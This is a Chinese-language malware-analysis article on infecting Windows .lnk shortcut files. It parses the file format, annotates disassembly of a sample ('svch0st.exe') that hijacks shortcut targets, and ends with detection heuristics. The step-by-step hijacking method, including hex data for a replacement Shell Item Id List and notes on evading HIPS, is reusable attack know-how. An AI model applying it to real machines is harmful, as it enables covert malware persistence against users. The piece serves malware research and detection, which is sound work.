windows平台.lnk文件感染技术研究
=|--bytehero team--|=/=-----------------------------------------------------------------------=\|=-------------=[ windows平台.lnk文件感染技术研究 ]----------=||=-----------------------------------------------------------------------=||=----------------=[ by nEINEI//100113 ]=-----------=||=----------------=[ nEINEI<neinei_at_bytehero_dot_com>]=-----------=|\=-----------------------------------------------------------------------=/[目录].简介.lnk文件格式解析.感染lnk文件实现细节.另一类感染思路.关于检测.其它
.简介
感染windows平台下的.lnk文件并不是新的技术,但由于其隐蔽性好,操作动作简单,极易躲避主动防御技术,在执行payload前,可绕过绝大多数的主流hips。同时,由于大多数反病毒引擎的格式分析也缺乏对.lnk的分析,使得这种感染方式被忽略,下面将分析最新的.lnk感染技术,同时提供一个其检测的方案.
.lnk文件格式解析
由于.lnk文件提供丰富的调用方式,因此在研究该文件类型格式的基础的可以发现有很多字段可以被恶意利用。下面是一个.lnk文件格式的通用结构,也就说.lnk文件是由这样不同的节组成的,但这些节并不是全都必须存在。
.lnk 文件格式 +---------------------------+ | lnk file header | +---------------------------+ >------. | Shell Item Id List | | +---------------------------+ | | File location info | | +---------------------------+ | | Description string | | +---------------------------+ --- | Relative path string |这几个节不是每一个都必须存在,如果存在就要按这样的顺序关系排列。 +---------------------------+ --- | Working directory string| | +---------------------------+ | | Command line string | | +---------------------------+ | | Icon filename string | | +---------------------------+ >------. | Extra stuff | +---------------------------+
1 首先是文件头lnk file header结构,这里记录了比较重要的文件信息,无论是恶意代码的感染还是用于检测,都需要对该结构有所了解,下面是文件头结构参考数据。
Offset Size/Type Description
0x00 1dword 总是为0000004CH,相当于字符"L",用于标识是否是个有效的.lnk文件。 0x04 16 bytes GUID,标识.lnk的唯一标识符,不排除以后MS对该字段有所修改。 0x14 1dword *重要,Flags用来标识.lnk文件中有哪些可选属性,也就是哪些节是可选的。 0x18 1dword 目标文件属性(是否只读、隐藏、系统文件、加密、临时...) 0x1c 1qword 文件创建时间 0x24 1qword 文件修改时间 0x2c 1qword 文件最后一次访问时间 0x34 1dword 目标文件长度 0x38 1dword 自定义图标个数 0x3c 1dword 目标文件执行时窗口显示方式(1-正常显示,2-最小化,3-最大化) 0x40 1dword 热键 0x44 2dword 该字段未知,常为0
偏移0x14处的值含义:
bit 该bit置1
0 包含shell item id list节,通过修改文件过滤掉该节,不影响.lnk执行目标文件,但影响其它功能。 1 指向文件或文件夹,如果此位为0表示指向其他。 2 存在描述字符串 3 存在相对路径 4 存在工作路径 5 存在命令行参数 6 存在自定义图标*--> 该位置一般用于病毒判断是否感染目标文件的标志.
2 Shell Item Id List 节是个可选结构,由文件头中offset 0x14位置处的值来决定,0 bit值为1时,表示该lnk文件包含该结构。 如果存在该结构,偏移0x4c的位置的一个unsigned short int是Shell Item Id List结构的大小标识,后面紧跟一个SHITEMID结构,该结构体定义如下
typedef struct _SHITEMID { unsigned short int cb; unsigned charabID; }SHITEMID,*LPSHITEMID;
cb标识一项SHITEMID结构大小,abID是可变结构,存储数据具体数据,里面的含义有些未知,但第0项里面的数据是不能修改的,否则.lnk文件无法运行。 Shell Item Id List 结构
/- +-------------------------------+ ||size (该节总长度) |------> 该项如果修改,会导致.lnk无法运行,如果含有命令参数,也会混乱。 |+-------------------------------+ ||SHITEMID |------> 该项所有值均固定,unsigned char data = { V+-------------------------------+ 0x14, 0x00, 0x1F, 0x50, 0xE0, 0x4F, 0xD0, 0x20, 0xEA, 0x3A, 0x69, 0x10, 0xA2, 0xD8, 0x08,size|SHITEMID |------\ 0x00, 0x2B, 0x30, 0x30, 0x9D, 0x19, 0x00}; A+-------------------------------+ | 也就是cb=0x0014,修改任意值都会导致.lnk无法运行。 ||... | | || | .------> 该项cb的值一般固定为0x2f(也可能是别的值),不可修改。abID的值为指向目标程序所在盘符的字符串 || | 如"C:\",该段空间数据可以任意修改。 || |------\ |+-------------------------------+ | -----> 修改会影响.lnk文件执行。 ||SHITEMID |------/ \- +-------------------------------+
3 File location info,一般指文件信息节,是个可选结构,由文件头中offset 0x14位置处的值来决定,1 bit值为1时,表示该lnk文件包含该结构。
Offset Size/Type Description
0x00 1dword 该节总长度,该值的修改,会影响.lnk文件执行或命令参数混乱失效。 0x04 1dword 固定为0x1c,指明为该节长度,该值可任意修改。 0x08 1dword flags标志,指示文件在哪些卷有效,例如是本地卷标还是网络卷标。 0x0c 1dword 固定为0x1c,本地卷信息表偏移。 0x10 1dword 指明目标文件路径相对本节头部的偏移,但.lnk文件执行目标程序并不依赖于该值指向的路径是否正确。 0x14 1dword 网络卷信息表偏移,如果flags标记含有网络卷的话,否则为0. 0x18 1dword 剩余偏移路径,一般都指向本节的末尾,也就是节总长度减1的值,当该值指向的位置为0时(大多数情况下都是0),该值可任意修改。
flags 具体含义:
如果目标文件是本地文件,那么文件名称 = 本地路径信息+剩余偏移路径 如果目标文件是网络文件,那么文件名称 = 网络卷中共享名称+剩余偏移路径
接着File location info节的数据是,本地卷信息表,及网络卷信息表。 本地卷信息表结构如下:
Offset Size/Type Description
0x00 1dword 本地卷信息表的长度,该值可任意修改。 0x04 1dword 卷类型(网络盘,软盘,硬盘,可移动...后面有说明),该值可以任意修改。 0x08 1dword 标识卷序列号,2byte一组,该值可任意修改。 0x0c 1dword 卷名称的偏移,固定为0x10,该值可以任意修改。 0x10 可变长度
卷名称,其大小由该表总长度决定。
网络卷信息表结构如下:
Offset Size/Type Description
0x00 1dword 网络卷信息表的长度,该值可任意修改。 0x04 1dword 固定为0x2 0x08 1dword 固定为0x14 0x0c 1dword 固定为0 0x10 可变长度
固定为0x20000 0x10 可变长度
网络共享名
4 Description string 一般指描述字符节,是个可选结构,由文件头中offset 0x14位置处的值来决定,2 bit值为1时,表示该lnk文件包含该结构。
该节开始是个unsigned short int 表示该节的长度,不包含这2byte,由于该字符串的描述字符为unicode字符,所以取得该值后还得乘以2. 该字符也就是右键查看快捷方式信息中的“起始位置(S)”中的那个描述,该值修改不影响.lnk文件执行。
5 Relative path string 一般指相对路径节,是个可选结构,由文件头中offset 0x14位置处的值来决定,3 bit值为1时,表示该lnk文件包含该结构。 该节结构同上。
6 Working directory string 一般指工作路径节,是个可选结构,由文件头中offset 0x14位置处的值来决定,4 bit值为1时,表示该lnk文件包含该结构。 该节结构同上。
7 Command line string 一般指命令行节,是个可选结构,由文件头中offset 0x14位置处的值来决定,5 bit值为1时,表示该lnk文件包含该结构。 该节结构同上。
8 Icon filename string 一般指自定义图标节,是个可选结构,由文件头中offset 0x14位置处的值来决定,6 bit值为1时,表示该lnk文件包含该结构。 该节结构同上。
9 附加数据节,里面的数据具体含义未知,有些里面会包含一些本机机器名称。
以上就是对.lnk文件格式的简要分析,对.lnk进行感染最主要的就是偷换.lnk指向的目标文件路径,这点和映像劫持有些类似。同时保留原目标文件路径,留在后面调用,以防感染后被人察觉到快捷方式失效,这样在恶意程序后台启动后,还会调用原目标文件。
.感染lnk文件实现细节
同感染PE文件类似,感染.lnk文件也都要先解决以下几个问题:
1 哪些文件是需要感染的?
2 如何设置感染标记,防止重复感染?
3 何时执行原目标程序?
对于问题1,一般是感染那些执行频率最高的程序的.lnk文件,依据个人习惯,很多人喜欢桌面放很多快捷方式,那么这里就是要感染的主要地方。如果隐藏一点的就是\Favorites目录,\My Pictures目录,\「开始」菜单\程序目录等等...,为了不去感染系统文件的.lnk,可以通过自定义图标一项来过滤一下。
对于问题2,同PE文件一样,对文件结构中不影响程序执行的字段都是可以设置感染标记的位置,只是如何设置的隐蔽性强一些要考虑一下。
对于问题3,恶意程序后台运行后,最方便的执行方式就是把原目标程序放到命令行节中。
下面以一个获得的样本的来说明感染lnk的一种方式:
1 获得被感染文件的目录
0040109F push eax ; /pHandle004010A0 push 1 ; |Access = KEY_QUERY_VALUE004010A2 push esi ; |Reserved004010A3 push svch0st.0040309C ; |Subkey = "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"004010A8 push 80000001 ; |hKey = HKEY_CURRENT_USER004010AD call dword ptr ds:[<&ADVAPI32.RegOpenKeyExA>] ; \RegOpenKeyExA004010B3 test eax,eax004010B5 je short svch0st.004010BE004010B7 push esi ; /ExitCode004010B8 call dword ptr ds:[<&KERNEL32.ExitProcess>] ; \ExitProcess004010BE mov eax,dword ptr ss:004010C2 lea ecx,dword ptr ss:004010C6 lea edx,dword ptr ss:004010CD push ecx ; /pBufSize004010CE push edx ; |Buffer004010CF push esi ; |pValueType004010D0 push esi ; |Reserved004010D1 push svch0st.00403090 ; |ValueName = "Programs" // 感染 “C:\Documents and Settings\xxx\「开始」菜单\程序” 目录004010D6 push eax ; |hKey004010D7 call dword ptr ds:[<&ADVAPI32.RegQueryValueExA>] ; \RegQueryValueExA004010DD test eax,eax004010DF je short svch0st.004010EC004010E1 mov ecx,dword ptr ss:004010E5 push ecx ; /hKey004010E6 call dword ptr ds:[<&ADVAPI32.RegCloseKey>] ; \RegCloseKey004010EC push ebx004010ED lea edx,dword ptr ss:004010F4 push edi004010F5 push edx ; /Path004010F6 call dword ptr ds:[<&KERNEL32.SetCurrentDirectoryA>; \SetCurrentDirectoryA // 设置要感染的目录004010FC lea ecx,dword ptr ss:00401100 call <jmp.&MFC42.#540>00401105 lea eax,dword ptr ss:0040110C push 104 ; /BufSize = 104 (260.)00401111 push eax ; |PathBuffer00401112 push esi ; |hModule00401113 mov dword ptr ss:,esi ; |0040111A call dword ptr ds:[<&KERNEL32.GetModuleFileNameA>] ; \GetModuleFileNameA00401120 lea ecx,dword ptr ss:00401127 push 104 ; /BufSize = 104 (260.)0040112C push ecx ; |Buffer0040112D call dword ptr ds:[<&KERNEL32.GetSystemDirectoryA>>; \GetSystemDirectoryA00401133 lea edx,dword ptr ss:0040113A lea ecx,dword ptr ss:0040113E push edx0040113F call <jmp.&MFC42.#860>00401144 push svch0st.00403080 ;ASCII "\svch0st.exe"00401149 lea ecx,dword ptr ss:0040114D call <jmp.&MFC42.#941>00401152 mov eax,dword ptr ss:00401156 push esi ; /FailIfExists00401157 lea ecx,dword ptr ss: ; |0040115E push eax ; |NewFileName0040115F push ecx ; |ExistingFileName00401160 call dword ptr ds:[<&KERNEL32.CopyFileA>] ; \CopyFileA //拷贝自身到%system%目录,重命名为svch0st.exe
2 得到一个操作.lnk文件的com接口指针,搜索感染目录文件。
00401185 push edx ; // edx = 0x13f18; arg5 = 0x13f18(获取接口的一个指针)00401186 push svch0st.00402120 ; // = 0x214ee==> arg4 = IID_IShellLink0040118B push 1 ; // CLSCTX_INPROC_SERVER = 1 arg3 = CLSCTX_INPROC_SERVER; 0040118D push esi ; // esi = 0; arg2 = 00040118E push svch0st.00402110 ;// = 0x21401==> arg1 = CLSID_ShellLink00401193 call dword ptr ds:[<&ole32.CoCreateInstance>] ;ole32.CoCreateInstance00401199 cmp eax,esi0040119B jl svch0st.004013D1004011A1 mov eax,dword ptr ss:004011A5 lea edx,dword ptr ss:004011A9 mov dword ptr ss:,esi004011AD push edx004011AE mov ecx,dword ptr ds:004011B0 push svch0st.00402130 ;arg2 = IID_IPersistFile
//-----------------------------------------------------------------;在内存中的数据
;004021300000010B;0040213400000000;00402138000000C0;0040213c46000000
由OBJIDL.H中的IID_IPersistFile定义可知
EXTERN_C const IID IID_IPersistFile;#if defined(__cplusplus) && !defined(CINTERFACE)
MIDL_INTERFACE("0000010b-0000-0000-C000-000000000046") //和这个定义一致 IPersistFile : public IPersist { public: virtual HRESULT STDMETHODCALLTYPE IsDirty( void) = 0;
virtual HRESULT STDMETHODCALLTYPE Load( /* */ LPCOLESTR pszFileName, /* */ DWORD dwMode) = 0;
virtual HRESULT STDMETHODCALLTYPE Save( /* */ LPCOLESTR pszFileName, /* */ BOOL fRemember) = 0;
virtual HRESULT STDMETHODCALLTYPE SaveCompleted( /* */ LPCOLESTR pszFileName) = 0;
virtual HRESULT STDMETHODCALLTYPE GetCurFile( /* */ LPOLESTR __RPC_FAR *ppszFileName) = 0;
}; ...//-----------------------------------------------------------------------004011B5 push eax ;// arg1 = IPersistFile *pf 004011B6 call dword ptr ds: ;//相当于IShellLink->QueryInterface(IID_IPersistFile, &pf)) 004011B8 cmp eax,esi004011BA jl svch0st.004013C7004011C0 lea eax,dword ptr ss:004011C4 push eax ; /pFindFileData004011C5 push svch0st.00403068 ; |FileName = "*.lnk"004011CA call dword ptr ds:[<&KERNEL32.FindFirstFileA>] ; \FindFirstFileA004011D0 cmp eax,-1004011D3 mov dword ptr ss:,eax004011D7 je svch0st.004013BD004011DD push ebp004011DE /lea ecx,dword ptr ss:004011E2 |push ecx ; /FileName004011E3 |call dword ptr ds:[<&KERNEL32.GetFileAttributesA>>; \GetFileAttributesA004011E9 |push 0 ; /hTemplateFile = NULL004011EB |push 80 ; |Attributes = NORMAL004011F0 |push 3 ; |Mode = OPEN_EXISTING004011F2 |push 0 ; |pSecurity = NULL004011F4 |push 1 ; |ShareMode = FILE_SHARE_READ004011F6 |lea edx,dword ptr ss: ; |004011FA |push 80000000 ; |Access = GENERIC_READ004011FF |push edx ; |FileName00401200 |mov ebp,eax ; |00401202 |call dword ptr ds:[<&KERNEL32.CreateFileA>] ; \CreateFileA00401208 |mov edi,eax0040120A |cmp edi,-10040120D |jnz short svch0st.004012170040120F |push 0 ; /ExitCode = 000401211 |call dword ptr ds:[<&KERNEL32.ExitProcess>] ; \ExitProcess00401217 |push 0 ; /pFileSizeHigh = NULL00401219 |push edi ; |hFile0040121A |call dword ptr ds:[<&KERNEL32.GetFileSize>] ; \GetFileSize00401220 |mov ebx,eax00401222 |push ebx ; /MemSize00401223 |push 40 ; |Flags = GPTR00401225 |call dword ptr ds:[<&KERNEL32.GlobalAlloc>] ; \GlobalAlloc0040122B |mov esi,eax0040122D |lea eax,dword ptr ss:00401231 |push 0 ; /pOverlapped = NULL00401233 |push eax ; |pBytesRead00401234 |push ebx ; |BytesToRead00401235 |push esi ; |Buffer00401236 |push edi ; |hFile00401237 |call dword ptr ds:[<&KERNEL32.ReadFile>] ; \ReadFile0040123D |push edi ; /hObject0040123E |call dword ptr ds:[<&KERNEL32.CloseHandle>] ; \CloseHandle
3 检测感染条件
00401244 xor eax,eax00401246 xor ecx,ecx00401248 mov al,byte ptr ds:;// al = flags,因esi指向.lnk文件数据内存拷贝的首地址, 指向lnk file header的flags标识,0040124B mov ch,byte ptr ds:;// ch = flags0040124E xor edx,edx ;// eax = (WORD)flags00401250 or eax,ecx00401252 mov dl,byte ptr ds:;// dl = flags00401255 xor ecx,ecx00401257 mov cl,byte ptr ds:;// cl = flags0040125A shl edx,100040125D or eax,edx0040125F shl ecx,1800401262 or eax,ecx ;// eax = DWROD(flags)00401264 shr eax,600401267 and al,100401269 cmp al,1 ;// 比较flags的第6bit是否置10040126B jnz svch0st.00401391 ;// 没有置1则继续搜索下一个文件
前面提到过文件头偏移0x14处的值含义,当第6bit置1时,表示存在自定义图标。也就是该病毒仅感染存在自定义图标的.lnk文件,这样的图标更多 存在于非系统的第三方程序当中多一些。
4对原执行目标文件进行劫持
00401289 |call dword ptr ds:[<&KERNEL32.MultiByteToWid>; MultiByteToWideChar0040128F |mov eax,dword ptr ss:00401293 |lea ecx,dword ptr ss:0040129A |push 00040129C |push ecx0040129D |mov edx,dword ptr ds:0040129F |push eax004012A0 |call dword ptr ds: ;//edx 指向 IPersistFile的指针,由IPersistFileVtbl定义可知,call => IPersistFile->Load(arg1,arg2)004012A3 |test eax,eax004012A5 |jl svch0st.00401391004012AB |mov eax,dword ptr ss:004012AF |lea ecx,dword ptr ss:004012B6 |push 100004012BB |push ecx004012BC |mov edx,dword ptr ds:004012BE |push eax004012BF |call dword ptr ds:;// edx 指向 IShellLinkA,由DECLARE_INTERFACE_(IShellLinkA, IUnknown)定义可知,call = > IShellLinkA->GetDescription(arg1,arg2)004012C2 |lea edx,dword ptr ss:004012C9 |push svch0st.0040303C ; /String2 = "Once"004012CE |push edx ; |String1004012CF |call dword ptr ds:[<&KERNEL32.lstrcmpA>] ; \lstrcmpA004012D5 |test eax,eax004012D7 |je svch0st.00401391 ;如果.lnk文件的描述信息不是"Once",说明还没被感染过,否则跳过该文件继续搜索004012DD |mov eax,dword ptr ss:004012E1 |lea edx,dword ptr ss:004012E8 |push 1004012EA |push edx004012EB |mov ecx,dword ptr ds:004012ED |lea edx,dword ptr ss:004012F4 |push 104004012F9 |push edx004012FA |push eax004012FB |call dword ptr ds: ;//相当于IShellLink->GetPath(arg1,arg2,arg3,arg4)004012FE |mov eax,dword ptr ss:00401302 |lea edx,dword ptr ss:00401306 |push edx00401307 |push eax00401308 |mov ecx,dword ptr ds:0040130A |call dword ptr ds:;//相当于IShellLink->GetShowCmd(arg1)0040130D |mov eax,dword ptr ss:00401311 |lea ecx,dword ptr ss:00401318 |push eax ; /<%d>00401319 |push ecx ; |<%s>0040131A |lea edx,dword ptr ss: ; |00401321 |push svch0st.0040302C ; |Format = "@@@@*%s*%d"00401326 |push edx ; |s00401327 |call dword ptr ds:[<&USER32.wsprintfA>] ; \wsprintfA
//----------------------------------------------------------------该调用相当于给.lnk文件加入一个命令行节,将原目标文件保持在命令行节中同时将原目标程序窗口显示方式保存在最后,一个可能的调用情况如下:c:\windows\system32\svch0st.exe "@@@@*C:\DOCUME~1\ALLUSE~1\DOCUME~1\xxx.exe*1"//----------------------------------------------------------------0040132D |mov eax,dword ptr ss:00401331 |add esp,1000401334 |lea edx,dword ptr ss:0040133B |mov ecx,dword ptr ds:0040133D |push edx0040133E |push eax0040133F |call dword ptr ds: ;// 相当于IShellLink->SetArguments(arg1),保存上面的命令行参数到被感染的.lnk文件00401342 |mov eax,dword ptr ss:00401346 |lea edx,dword ptr ss:0040134D |push edx0040134E |push eax0040134F |mov ecx,dword ptr ds:00401351 |call dword ptr ds:;// 相当于IShellLink->SetPath(arg1),修.lnk的目标文件为"c:\windows\system\svch0st.exe"00401354 |mov eax,dword ptr ss:00401358 |push 10040135A |push eax0040135B |mov ecx,dword ptr ds:0040135D |call dword ptr ds: ;// 相当于IShellLink->SetShowCmd(SW_SHOWNORMAL)00401360 |mov eax,dword ptr ss:00401364 |push svch0st.0040303C ;ASCII "Once"00401369 |push eax0040136A |mov edx,dword ptr ds:0040136C |call dword ptr ds:;// 相当于IShellLink->SetDescription("Once"),设置上以感染标志0040136F |mov eax,dword ptr ss:00401373 |lea edx,dword ptr ss:0040137A |push 00040137C |push edx0040137D |mov ecx,dword ptr ds:0040137F |push eax00401380 |call dword ptr ds:;// IPersistFile->Save,保存修改00401383 |mov eax,dword ptr ss:00401387 |push 200401389 |push 00040138B |push eax0040138C |mov ecx,dword ptr ds:0040138E |call dword ptr ds: ;//IShellLink->Resolve00401391 |push esi ; /hMem00401392 |call dword ptr ds:[<&KERNEL32.GlobalFree>] ; \GlobalFree00401398 |lea edx,dword ptr ss:0040139C |push ebp ; /FileAttributes0040139D |push edx ; |FileName0040139E |call dword ptr ds:[<&KERNEL32.SetFileAttribu>; \SetFileAttributesA004013A4 |mov ecx,dword ptr ss:004013A8 |lea eax,dword ptr ss:004013AC |push eax ; /pFindFileData004013AD |push ecx ; |hFile004013AE |call dword ptr ds:[<&KERNEL32.FindNextFileA>>; \FindNextFileA004013B4 |test eax,eax004013B6 \jnz svch0st.004011DE ;//循环搜索要感染的文件
5 执行原目标文件
004013D8 call dword ptr ds:[<&KERNEL32.GetCommandLineA>; 获得一个"@@@@*ori_path*sw_show" 格式的字符串004013DE lea edx,dword ptr ss:004013E5 push eax ; /String2004013E6 push edx ; |String1004013E7 call dword ptr ds:[<&KERNEL32.lstrcpyA>] ; \lstrcpyA004013ED mov ax,word ptr ds:004013F3 lea ecx,dword ptr ss:004013FA push svch0st.00403028 ; /s2 = "*"004013FF push ecx ; |s100401400 mov word ptr ss:,ax ; |00401405 call dword ptr ds:[<&MSVCRT.strstr>] ; \strstr查找格式中是否有 ' * '0040140B add esp,80040140E test eax,eax00401410 je short svch0st.0040145700401412 mov esi,dword ptr ds:[<&MSVCRT.strtok>] ;msvcrt.strtok00401418 lea edx,dword ptr ss:0040141C lea eax,dword ptr ss:00401423 push edx ; /s200401424 push eax ; |s100401425 call esi ; \strtok分离命令行的参数100401427 lea ecx,dword ptr ss:0040142B push ecx ; /s20040142C push 0 ; |s1 = NULL0040142E call esi ; \strtok分离命令行的参数2,就是原目标程序路径arg200401430 lea edx,dword ptr ss:00401434 mov edi,eax00401436 push edx ; /s200401437 push 0 ; |s1 = NULL00401439 call esi ; \strtok分离命令行的参数3,也就是原目标程序的现实方式arg60040143B movsx eax,byte ptr ds:0040143E add esp,18 ; /IsShown00401441 sub eax,30 ; 转换字符的显示方式到数字的显示方式00401444 push eax ; arg600401445 push 0 ; |Operation = NULL00401447 push 000401449 push edi ;arg20040144A push svch0st.00403020 ; |hWnd = 004030200040144F push 000401451 call dword ptr ds:[<&SHELL32.ShellExecuteA>];SHELL32.ShellExecuteA
以上就是一个对.lnk文件进行感染的过程分析。
.另一类感染思路
做为一般性的感染,在不考虑执行原目标文件的情况下,最方便的方式就是直接的修改原目标文件路径,存放原目标文件的路径在.lnk文件中共有4处, 2处是ascii string,2处是unicode string,ascii string与unicode string 成对出现,一处是可选节Shell Item Id List中,一处是可选节 File location info中。 可尝试对这几处进行修改,来推断哪些和执行目标文件相关联。
反复测试后可发现,.lnk在执行目标文件时,并不依赖于File location info 偏移0x10处的目标程序路径。而仅依赖于Shell Item Id List中的unicode stirng 描述, Shell Item Id List是由SHITEMID结构组成,虽然里面的有些数据具体含义未知,但可以分析出,在创建.lnk文件中它是将一个目标程序执行路径分离若干个节, 例如一个目标程序是c:\aaa\bbb\ccc\ddd\eee\f.exe,则由此生成的Shell Item Id List结构如下:
SHITEMID - > 其值固定 SHITEMID - > c:\??? SHITEMID - > ???aaa??? SHITEMID - > ???bbb??? SHITEMID - > ???ccc??? SHITEMID - > ???ddd??? SHITEMID - > ???eee??? SHITEMID - > ???f.exe???
这些unicode string 的值影响着目标程序的执行,所以有两种方式进行劫持,
1 直接在此基础上修改目标文件路径,但由于该节的大小是固定的,最好的方式是仅修改SHITEMID数据,把新的目标文件拷贝到原目标问同路径下,修改一个文件名称即可,比如修改SHITEMID - > ???g.exe???
2 因.lnk文件的节中的数据使用的都是相对偏移,而不是绝对偏移,这使得我们可以构造一个新的Shell Item Id List结构来替换原有Shell Item Id List结构,而不必担心影响后面的数据。 例如一个C:\Documents and Settings\xxx\My Documents\My Pictures\示例图片.lnk 的Shell Item Id List节数据
Offset 01234567 89ABCDEF
00000040 DA 00 14 00 ?..00000050 1F 50 E0 4F D0 20 EA 3A69 10 A2 D8 08 00 2B 30 .P郞??i.⒇..+000000060 30 9D 32 00 2E 00 0C 0000 00 00 00 00 00 00 00 0?.............00000070 00 00 00 00 74 1A 59 5E96 DF D3 48 8D 67 17 33 ....t.Y^栠親峠.300000080 BC EE 28 BA 47 1A 03 5972 3F A7 44 89 C5 55 95 碱(篏..Yr?壟U?00000090 FE 6B 30 EE 5A 00 31 0000 00 00 00 57 3B C5 42 ⺧0頩.1.....W;臖000000A0 11 00 4D 59 50 49 43 547E 31 00 00 42 00 03 00 ..MYPICT~1..B...000000B0 04 00 EF BE 57 3B AC 4257 3B D7 42 14 00 2C 00 ..锞W;珺W;譈..,.000000C0 4D 00 79 00 20 00 50 0069 00 63 00 74 00 75 00 M.y. .P.i.c.t.u.000000D0 72 00 65 00 73 00 00 0040 73 68 65 6C 6C 33 32 r.e.s...@shell32000000E0 2E 64 6C 6C 2C 2D 32 3839 39 37 00 18 00 38 00 .dll,-28997...8.000000F0 35 00 00 00 00 00 57 3BD7 42 11 00 3A 79 8B 4F 5.....W;譈..:y婳00000100 FE 56 47 72 00 00 20 0003 00 04 00 EF BE 57 3B 㑇Gr.. .....锞W;00000110 C5 42 57 3B D7 42 14 0000 00 3A 79 8B 4F FE 56 臖W;譈....:y婳㑇00000120 47 72 00 00 18 00 00 Gr.....
构造一个新的Shell Item Id List,使其指向c:\Program Files\Internet Explorer\iexplore.exe
Offset 01234567 89ABCDEF
00000040 17 01 14 00 ....00000050 1F 50 E0 4F D0 20 EA 3A69 10 A2 D8 08 00 2B 30 .P郞??i.⒇..+000000060 30 9D 19 00 2F 43 3A 5C00 00 00 00 00 00 00 00 0?./C:\........00000070 00 00 00 00 00 00 00 0000 00 00 4A 00 31 00 00 ...........J.1..00000080 00 00 00 31 3C DA 71 1100 50 52 4F 47 52 41 7E ...1<趒..PROGRA~00000090 31 00 00 32 00 03 00 0400 EF BE 57 3B 8C 41 3B 1..2.....锞W;孉;000000A0 3C 8A 6B 14 00 00 00 5000 72 00 6F 00 67 00 72 <妅....P.r.o.g.r000000B0 00 61 00 6D 00 20 00 4600 69 00 6C 00 65 00 73 .a.m. .F.i.l.e.s000000C0 00 00 00 18 00 52 00 3100 00 00 00 00 8E 3B 86 .....R.1.....??000000D0 10 10 00 49 4E 54 45 524E 7E 31 00 00 3A 00 03 ...INTERN~1..:..000000E0 00 04 00 EF BE 57 3B AD42 3B 3C 94 69 14 00 00 ...锞W;瑽;<攊...000000F0 00 49 00 6E 00 74 00 6500 72 00 6E 00 65 00 74 .I.n.t.e.r.n.e.t00000100 00 20 00 45 00 78 00 7000 6C 00 6F 00 72 00 65 . .E.x.p.l.o.r.e00000110 00 72 00 00 00 18 00 4C00 32 00 00 6C 01 00 1C .r.....L.2..l...00000120 3B D0 50 20 00 69 65 7870 6C 6F 72 65 2E 65 78 ;蠵 .iexplore.ex00000130 65 00 00 30 00 03 00 0400 EF BE 57 3B AE 42 3B e..0.....锞W;瓸;00000140 3C 0E 55 14 00 00 00 6900 65 00 78 00 70 00 6C <.U....i.e.x.p.l00000150 00 6F 00 72 00 65 00 2E00 65 00 78 00 65 00 00 .o.r.e...e.x.e..00000160 00 1C 00 ...
用上面数据替换原有数据,就可以发现执行的目标程序已经变成iexplore.exe了。
.关于检测
从文件格式的异常情况来看有以下几个字段可作为检测标志
1文件头中偏移0x34的位置,标识.lnk文件执行的目标文件的大小,被感染后如果未被修正,可检测该位置的值与目标文件大小。当然如果用Ms提供 com接口来修改lnk文件时,该值会自动被校验重新填写,如果是这种情况,则该检测方式无效。
2第二个可选节File locator info 中,偏移0x04字段,若出现超出文件大小的可能,则视为异常。
3第二个可选节File locator info 中,偏移0x14 如果没有网络卷,且该值不正确,则视为异常。
4第二个可选节后面,本地卷信息表的第一个字段,信息表长度,如果该值不正确,则视为异常。
5第二个可选节后面,本地卷信息表的第三个字段,卷序列号如果不匹配,则视为异常。
6第二个可选节后面,本地卷信息表的第四个字段,卷偏移值如果超过该节大小,则视为异常。
从反病毒引擎方面考虑,
1首先要解析出.lnk文件的指向的目标程序路径,只需特征码匹配检测一下即可。
2记录.lnk执行的目标文件,如果出现多次指向同一目标程序的阀值,也可产生报警。
3如果从启发式检测的角度看,.lnk指向的目标程序如果导入了ole32.dll 中的CoCreateInstance、CoUninitialize、CoInitialize这几个函数 则需要注意一下,通过代码分析可以定位到call CoCreateInstance部分,
.text:00401185 52 push edx ; ppv.text:00401186 68 20 21 40 00 push offset riid ; riid *->这个值要注意 .text:0040118B 6A 01 push 1 .text:0040118D 56 push esi .text:0040118E 68 10 21 40 00 push offset rclsid ; rclsid *->这个值要注意.text:00401193 FF 15 FC 20 40 00 call ds:CoCreateInstance
如果这两个值为0x214ee和0x21401,则可给予报警。当然这仅是从程序能否出现该情况的角度上来讲。
4如果Shell Item Id List节中的目标文件名与File location info节中的出现的目标文件名称不一致也产生报警。
.其它
因为.lnk文件格式并不公开,里面还有些并不能完全确定的字段,例如,执行的目标文件路径所在的盘符,并不依赖于Shell Item Id List中指定的盘符,而是另有其他所指,所以是否还存在其它的感染方式还需要进一步研究。
附参考文献: Jesse Hager.《The Windows Shortcut File Format》 Cuick. 《Windows快捷方式文件格式解析》《msdn》
页:
[1]